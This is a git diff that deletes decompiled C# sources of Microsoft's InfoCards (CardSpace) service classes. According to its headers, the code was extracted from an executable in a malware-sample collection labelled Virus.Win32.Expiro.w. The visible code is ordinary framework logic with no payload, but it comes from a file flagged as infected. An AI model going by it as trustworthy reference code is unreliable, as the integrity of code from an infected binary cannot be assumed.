Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ClientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Security; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class ClientRequest : Request - { - private const int OutstandingCallWaitTime = 30000; - private IDictionary m_asyncOps; - private IDictionary m_cachedCerts; - private Process m_callerProcess; - private WindowsIdentity m_callerIdentity; - private Dictionary m_contextBag; - private object m_serviceAsyncSyncRoot; - private ClientRequest.ServiceAsyncOperation m_serviceAsyncOperation; - private bool m_cancelled; - private bool m_untrusted; - - public static Process GetCallingProcessFromRpcHandle(IntPtr RpcHandle) - { - uint pid; - if (NativeMethods.I_RpcBindingInqLocalClientPID(RpcHandle, out pid) != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceErrorGettingClientPid"))); - Process processFromRpcHandle = (Process) null; - bool flag1 = false; - bool flag2 = false; - while (!flag1) - { - flag1 = true; - try - { - if (flag2) - NativeMcppMethods.AddSystemAccessToProcess(RpcHandle, pid); - processFromRpcHandle = ProcessMonitor.GetProcessById((int) pid); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - catch (Win32Exception ex) - { - bool flag3 = false; - if (5 == ex.NativeErrorCode && !flag2) - { - flag1 = false; - flag2 = true; - flag3 = true; - } - if (!flag3) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException(SR.GetString("ClientAPIInfocardError"), (Exception) ex)); - } - } - return processFromRpcHandle; - } - - public ClientRequest( - Process callingProcess, - WindowsIdentity userIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : this(callingProcess, userIdentity, rpcHandle, inArgs, outArgs, ExceptionList.AllNonFatal) - { - } - - public ClientRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ExceptionList recoverableExceptions) - : base(rpcHandle, inArgs, outArgs, recoverableExceptions) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == callingProcess, nameof (callingProcess)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == callingIdentity, "userIdentity"); - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcHandle, nameof (rpcHandle)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == inArgs, nameof (inArgs)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == outArgs, nameof (outArgs)); - this.m_callerProcess = callingProcess; - this.m_callerIdentity = callingIdentity; - this.m_contextBag = new Dictionary(); - this.m_serviceAsyncSyncRoot = new object(); - InfoCardService.LifeTimeMonitor.AddClient(); - } - - public override WindowsIdentity RequestorIdentity => this.m_callerIdentity; - - public Process CallerProcess => this.m_callerProcess; - - public uint CallerPid => (uint) this.CallerProcess.Id; - - protected override void OnInitializeAsSystem() - { - if (this.CallerProcess.HasExited) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - - public T GetContext() - { - object obj = (object) null; - return this.m_contextBag.TryGetValue(typeof (T), out obj) ? (T) obj : default (T); - } - - public void SetContext(T value) => this.m_contextBag[typeof (T)] = (object) value; - - public void ClearContext() => this.m_contextBag.Remove(typeof (T)); - - public void AddAsyncOp(RpcAsyncResult async) - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null) - this.m_asyncOps = (IDictionary) new HybridDictionary(); - this.m_asyncOps[(object) async.Handle] = (object) async; - } - } - - public void CancelAsyncOp(int handle) - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null || !this.m_asyncOps.Contains((object) handle)) - return; - ((RpcAsyncResult) this.m_asyncOps[(object) handle]).Cancel(); - } - } - - public void RemoveAsyncOp(int handle) - { - lock (this.SyncRoot) - this.m_asyncOps.Remove((object) handle); - } - - private RpcAsyncResult FindAsyncOp(int handle) - { - lock (this.SyncRoot) - return (RpcAsyncResult) this.m_asyncOps[(object) handle]; - } - - protected void CheckIfAllAsyncOpsCompleted() - { - lock (this.SyncRoot) - { - if (this.m_asyncOps == null) - return; - foreach (RpcAsyncResult rpcAsyncResult in (IEnumerable) this.m_asyncOps.Values) - ; - } - } - - public RpcAsyncResult WaitForAsyncCompletion(int handle) - { - RpcAsyncResult asyncOp = this.FindAsyncOp(handle); - if (asyncOp == null) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidAsyncHandle"))); - asyncOp.AsyncWaitHandle.WaitOne(); - Exception exception = asyncOp.Exception; - if (exception != null) - throw new InfoCardRequestException(SR.GetString("ServiceAsyncOpGeneratedException"), exception); - return asyncOp; - } - - public void CertCacheAdd(string recipientIdentifier, X509Certificate2 cert) - { - lock (this.SyncRoot) - { - if (this.m_cachedCerts == null) - this.m_cachedCerts = (IDictionary) new HybridDictionary(); - this.m_cachedCerts[(object) recipientIdentifier] = (object) cert; - } - } - - public X509Certificate2 CertCacheFind(string recipientId) - { - lock (this.SyncRoot) - return (X509Certificate2) this.m_cachedCerts[(object) recipientId]; - } - - public static uint Authorize(IntPtr rpcIfHandle, IntPtr context) - { - uint num = 5; - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcIfHandle, nameof (rpcIfHandle)); - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == context, nameof (context)); - try - { - using (WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(context)) - { - if (!windowsIdentity.IsAuthenticated) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException()); - if (!ClientRequest.ValidateToken(context, windowsIdentity)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidCallerToken"))); - num = 0U; - } - } - catch (RuntimeWrappedException ex) - { - InfoCardTrace.TraceAndLogException((Exception) ex); - InfoCardService.Crash(); - } - catch (SecurityException ex) - { - InfoCardTrace.Assert(5U == num, "Unexpected value for err!"); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnableToValidateCallerToken", (object) ex.Message))); - } - return num; - } - - private static bool ValidateToken(IntPtr rpcItfHandle, WindowsIdentity rpcIdentity) - { - Process processFromRpcHandle = ClientRequest.GetCallingProcessFromRpcHandle(rpcItfHandle); - bool flag = NativeMcppMethods.CreateServiceExecutionIdentity(processFromRpcHandle).User.Value == rpcIdentity.User.Value; - if (flag) - flag = NativeMcppMethods.IsTokenValid(processFromRpcHandle); - return flag; - } - - protected override void OnDisposeAsSystem() - { - this.m_callerProcess = (Process) null; - object[] objArray = (object[]) null; - lock (this.SyncRoot) - { - if (this.m_asyncOps != null) - { - objArray = new object[this.m_asyncOps.Values.Count]; - this.m_asyncOps.Values.CopyTo((Array) objArray, 0); - } - } - if (objArray != null) - { - foreach (RpcAsyncResult rpcAsyncResult in objArray) - rpcAsyncResult.Dispose(); - } - InfoCardService.LifeTimeMonitor.RemoveClient(); - base.OnDisposeAsSystem(); - } - - protected void ExecuteCancelable( - ClientRequest.AsyncEntryCallback entry, - ClientRequest.AsyncEntryCallback cancel) - { - lock (this.m_serviceAsyncSyncRoot) - { - if (this.m_cancelled) - { - if (this.m_untrusted) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - InfoCardTrace.Assert(null == this.m_serviceAsyncOperation, "Only a single cancelable service operation can be running at a time"); - this.m_serviceAsyncOperation = new ClientRequest.ServiceAsyncOperation(entry, cancel); - try - { - if (!ThreadPool.QueueUserWorkItem(InfoCardTrace.ThunkCallback(new WaitCallback(ClientRequest.ServiceAsyncEntry)), (object) this.m_serviceAsyncOperation)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UnableToQueueThreadpool"))); - this.m_serviceAsyncOperation.WaitForCompletion(); - if (this.m_serviceAsyncOperation.WasCancelled) - { - if (this.m_untrusted) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - } - if (this.m_serviceAsyncOperation.ExecutionException != null) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(this.m_serviceAsyncOperation.ExecutionException.Message, this.m_serviceAsyncOperation.ExecutionException)); - } - finally - { - this.m_serviceAsyncOperation = (ClientRequest.ServiceAsyncOperation) null; - } - } - } - - protected void CancelServiceAsyncOperation(bool untrusted) - { - if (this.m_serviceAsyncOperation != null) - this.m_serviceAsyncOperation.Cancel(); - this.m_untrusted = untrusted; - this.m_cancelled = true; - } - - private static void ServiceAsyncEntry(object state) - { - ClientRequest.ServiceAsyncOperation serviceAsyncOperation = (ClientRequest.ServiceAsyncOperation) state; - try - { - serviceAsyncOperation.Execute(); - } - finally - { - serviceAsyncOperation.Complete(); - } - } - - internal delegate void AsyncEntryCallback(); - - private class ServiceAsyncOperation - { - private ClientRequest.AsyncEntryCallback m_cancelCallback; - private ClientRequest.AsyncEntryCallback m_entryCallback; - private ManualResetEvent m_syncEvent; - private Exception m_exception; - private bool m_complete; - private bool m_cancelled; - private object m_sync; - - public ServiceAsyncOperation( - ClientRequest.AsyncEntryCallback entry, - ClientRequest.AsyncEntryCallback cancel) - { - this.m_entryCallback = entry; - this.m_cancelCallback = cancel; - this.m_sync = new object(); - this.m_syncEvent = new ManualResetEvent(false); - } - - public bool WasCancelled => this.m_cancelled; - - public Exception ExecutionException => this.m_exception; - - public void Complete() - { - if (this.m_complete) - return; - lock (this.m_sync) - { - if (this.m_complete) - return; - this.m_complete = true; - this.m_syncEvent.Set(); - } - } - - public void WaitForCompletion() => this.m_syncEvent.WaitOne(); - - public void Execute() - { - lock (this.m_sync) - { - if (this.m_cancelled) - return; - this.m_complete = false; - this.m_syncEvent.Reset(); - } - try - { - this.m_entryCallback(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - else - this.m_exception = ex; - } - } - - public void Cancel() - { - lock (this.m_sync) - { - if (this.m_complete) - return; - this.m_cancelled = true; - try - { - if (this.m_cancelCallback == null) - return; - this.m_cancelCallback(); - } - finally - { - this.Complete(); - } - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ClientUIRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ClientUIRequest.cs deleted file mode 100644 index 8a29fadd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ClientUIRequest.cs +++ /dev/null @@ -1,305 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ClientUIRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class ClientUIRequest : ClientRequest - { - private static object s_syncRoot = new object(); - private static ClientUIRequest.ProcessHandleDictionary s_connectedProcesses = new ClientUIRequest.ProcessHandleDictionary(); - private ManualResetEvent m_uiAgentDone; - private StoreConnection m_rootStoreReference; - private volatile InfoCardUIAgent m_uiAgent; - private InfoCardUIAgent.CallMode m_uiAgentMode; - private AccessibilityApplicationManager m_atManager = new AccessibilityApplicationManager(); - - public ClientUIRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - InfoCardUIAgent.CallMode callMode, - ExceptionList recoverableExceptions) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs, recoverableExceptions) - { - this.m_uiAgentMode = callMode; - this.m_uiAgentDone = new ManualResetEvent(false); - this.m_uiAgent = uiAgent; - this.m_uiAgent.SetRequest(this); - } - - public static int BindToService(IntPtr rpcHandle, out IntPtr context) - { - int service = 0; - context = IntPtr.Zero; - try - { - Process callingProcess = ClientRequest.GetCallingProcessFromRpcHandle(rpcHandle); - WindowsImpersonationContext impersonationContext = NativeMcppMethods.CreateServiceExecutionIdentity(callingProcess).Impersonate(); - try - { - int num = 0; - lock (ClientUIRequest.s_syncRoot) - { - try - { - try - { - num = ClientUIRequest.s_connectedProcesses.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("TooManyClientUIConnections"), (Exception) ex)); - } - ClientUIRequest.s_connectedProcesses[num] = callingProcess; - context = new IntPtr(num); - num = 0; - callingProcess = (Process) null; - } - finally - { - callingProcess?.Dispose(); - if (num != 0) - ClientUIRequest.s_connectedProcesses.Remove(num); - } - } - } - finally - { - impersonationContext.Undo(); - } - } - catch (InfoCardBaseException ex) - { - service = ex.NativeHResult; - } - return service; - } - - public static Process GetContextMapping(IntPtr context, bool clear) - { - int int32 = context.ToInt32(); - Process contextMapping = (Process) null; - lock (ClientUIRequest.s_syncRoot) - { - if (ClientUIRequest.s_connectedProcesses.ContainsHandle(int32)) - { - contextMapping = ClientUIRequest.s_connectedProcesses[int32]; - if (clear) - ClientUIRequest.s_connectedProcesses.Remove(int32); - } - } - return contextMapping; - } - - public static void RemoveAndDisposeContextMapping(IntPtr context) => ClientUIRequest.GetContextMapping(context, true)?.Dispose(); - - public InfoCardUIAgent.CallMode UIAgentMode => this.m_uiAgentMode; - - internal InfoCardUIAgent UIAgent => this.m_uiAgent; - - public int UIAgentPid => (int) this.UIAgent.ProcessId; - - public string UIAgentLogonSid => this.UIAgent.TrustedUserSid; - - public bool UIAgentActive => this.UIAgent != null && this.UIAgent.IsActive; - - protected override void OnInitializeAsUser() - { - base.OnInitializeAsUser(); - this.m_rootStoreReference = StoreConnection.CreateConnection(); - } - - protected override void PreProcessRequest() - { - try - { - base.PreProcessRequest(); - } - catch (UIAgentInitializationException ex) - { - throw; - } - catch (UserCancelledException ex) - { - throw; - } - catch (UntrustedRecipientException ex) - { - throw; - } - catch (UIAgentCrashedException ex) - { - throw new CommunicationException(SR.GetString("UIAgentCrash")); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected override void ProcessRequest() - { - try - { - base.ProcessRequest(); - } - catch (UntrustedRecipientException ex) - { - throw; - } - catch (UIAgentInitializationException ex) - { - throw; - } - catch (UserCancelledException ex) - { - throw; - } - catch (UIAgentCrashedException ex) - { - throw new CommunicationException(SR.GetString("UIAgentCrash")); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected override void PostProcessRequest() - { - try - { - base.PostProcessRequest(); - } - catch (InfoCardBaseException ex) - { - throw this.ShowError((Exception) ex); - } - } - - protected Exception ShowError(Exception ex) - { - if (this.m_uiAgent.IsShuttingDown) - return ex; - this.ProcessingException = ex; - this.m_uiAgent.ResetUIResult(); - if (ClientUIRequest.RequestResult.Untrusted == this.m_uiAgent.ShowUI(InfoCardUIAgent.CallMode.Error)) - ex = InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - this.ProcessingException = (Exception) null; - return ex; - } - - protected void StartAndWaitForUIAgent() - { - switch (this.m_uiAgent.ShowUI(this.UIAgentMode)) - { - case ClientUIRequest.RequestResult.Ok: - break; - case ClientUIRequest.RequestResult.Cancel: - case ClientUIRequest.RequestResult.Error: - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - case ClientUIRequest.RequestResult.Untrusted: - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - case ClientUIRequest.RequestResult.UIFailedInitialization: - throw InfoCardTrace.ThrowHelperError((Exception) new UIAgentInitializationException()); - case ClientUIRequest.RequestResult.UICrashed: - throw InfoCardTrace.ThrowHelperError((Exception) new UIAgentCrashedException()); - default: - InfoCardTrace.Assert(false, "We should never get Pending or invalid state here"); - break; - } - } - - public void StartAccessibilityApplications(uint userATApplicationFlags) - { - if (this.m_uiAgent == null) - return; - string trustedUserSid = this.m_uiAgent.TrustedUserSid; - this.m_atManager.RestartOnInfoCardDesktop(userATApplicationFlags, this.m_uiAgent.TrustedUserToken, ref trustedUserSid, "WinSta0\\" + this.m_uiAgent.DesktopName, this.m_uiAgent.TsSessionId, this.CallerPid, this.RequestorIdentity); - } - - public bool RestartAccessibilityApplications() - { - this.m_atManager.Stop(); - return this.m_atManager.RestartOnUsersDesktop(this.CallerPid, "WinSta0\\Default", this.RequestorIdentity); - } - - public void StopAccessibilityApplications() => this.m_atManager.Stop(); - - public void UserCancel(bool untrusted) - { - lock (this.SyncRoot) - { - this.CancelServiceAsyncOperation(untrusted); - this.OnUserCancel(); - } - } - - protected virtual void OnUserCancel() - { - } - - private void ReleaseUIAgent() - { - lock (this.SyncRoot) - { - this.CheckIfAllAsyncOpsCompleted(); - this.StopAccessibilityApplications(); - if (this.m_uiAgent == null) - return; - this.m_uiAgent.ReleaseUI(); - this.m_uiAgent.ClearRequest(this); - this.m_uiAgent = (InfoCardUIAgent) null; - } - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_rootStoreReference == null) - return; - this.m_rootStoreReference.Close(); - this.m_rootStoreReference = (StoreConnection) null; - } - - protected override void OnDisposeAsSystem() - { - if (this.m_uiAgentDone != null) - { - this.m_uiAgentDone.Close(); - this.m_uiAgentDone = (ManualResetEvent) null; - } - ClientUIRequest.RemoveAndDisposeContextMapping(this.RpcHandle); - this.ReleaseUIAgent(); - base.OnDisposeAsSystem(); - } - - private class ProcessHandleDictionary : HandleDictionary - { - } - - public enum RequestResult - { - Pending, - Ok, - Cancel, - Untrusted, - Error, - UIFailedInitialization, - UICrashed, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CloseCryptoHandleRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CloseCryptoHandleRequest.cs deleted file mode 100644 index bd9f0664..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CloseCryptoHandleRequest.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CloseCryptoHandleRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class CloseCryptoHandleRequest : ClientRequest - { - private int m_cryptoSession; - - public CloseCryptoHandleRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - this.m_cryptoSession = new InfoCardBinaryReader(this.InArgs).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnProcess() => CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User).Dispose(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CommunicationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CommunicationException.cs deleted file mode 100644 index 00cb5b0b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CommunicationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CommunicationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CommunicationException : InfoCardBaseException - { - private const int HRESULT = -1073413888; - - public CommunicationException() - : base(-1073413888) - { - } - - public CommunicationException(string message) - : base(-1073413888, message) - { - } - - public CommunicationException(string message, Exception inner) - : base(-1073413888, message, inner) - { - } - - protected CommunicationException(SerializationInfo si, StreamingContext sc) - : base(-1073413888, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Constants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Constants.cs deleted file mode 100644 index d8bce3f4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Constants.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Constants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal static class Constants - { - internal static class Maxima - { - public const int IssuerKey = 16384; - public const int LogoLength = 1048576; - public const int SaltLength = 1024; - public const int PinHashLength = 1024; - public const int TokenTypes = 32; - public const int CreationParameters = 128; - public const int FileNameLength = 259; - public const int SupportedClaimsLength = 128; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CorruptStoreException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CorruptStoreException.cs deleted file mode 100644 index 4c16830e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CorruptStoreException.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CorruptStoreException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CorruptStoreException : Exception - { - public CorruptStoreException() - { - } - - public CorruptStoreException(string message) - { - } - - public CorruptStoreException(string message, Exception inner) - { - } - - protected CorruptStoreException(SerializationInfo si, StreamingContext sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CreateCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CreateCardRequest.cs deleted file mode 100644 index b15a8b0c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CreateCardRequest.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CreateCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class CreateCardRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - - public CreateCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - this.m_policy = this.GetPolicy(); - this.m_card = InfoCard.NewCard(new CultureInfo(this.ParentRequest.UserLanguage)); - } - - protected override void OnMarshalOutArgs() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(this.OutArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CredentialSelector.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CredentialSelector.cs deleted file mode 100644 index 3b7134b9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CredentialSelector.cs +++ /dev/null @@ -1,252 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CredentialSelector -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CredentialSelector : IXmlSerializable - { - private CredentialSelectorType m_type; - private byte[] m_data; - - public CredentialSelector() => this.m_type = CredentialSelectorType.InvalidSelector; - - public CredentialSelectorType Type - { - get => this.m_type; - set => this.m_type = value; - } - - public bool IsComplete() => CredentialSelectorType.InvalidSelector != this.m_type && this.m_data != null && this.m_data.Length > 0; - - public string GetStringWithoutNullTerminator() - { - if (this.m_data == null) - return (string) null; - string str = Encoding.Unicode.GetString(this.m_data); - return str.Substring(0, str.Length - 1); - } - - public byte[] GetBytes() - { - if (this.m_data == null) - return (byte[]) null; - byte[] destinationArray = new byte[this.m_data.Length]; - Array.Copy((Array) this.m_data, 0, (Array) destinationArray, 0, this.m_data.Length); - return destinationArray; - } - - public void SetValue(string data) => this.m_data = Encoding.Unicode.GetBytes(data + "\0"); - - public void SetValue(byte[] data, int index, int length) - { - byte[] destinationArray = new byte[length]; - Array.Copy((Array) data, index, (Array) destinationArray, 0, length); - this.m_data = destinationArray; - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((int) this.m_type); - Utility.SerializeBytes(writer, this.m_data); - } - - public void Deserialize(BinaryReader reader) - { - this.m_type = (CredentialSelectorType) reader.ReadInt32(); - this.m_data = reader.ReadBytes(reader.ReadInt32()); - } - - public System.Xml.Schema.XmlSchema 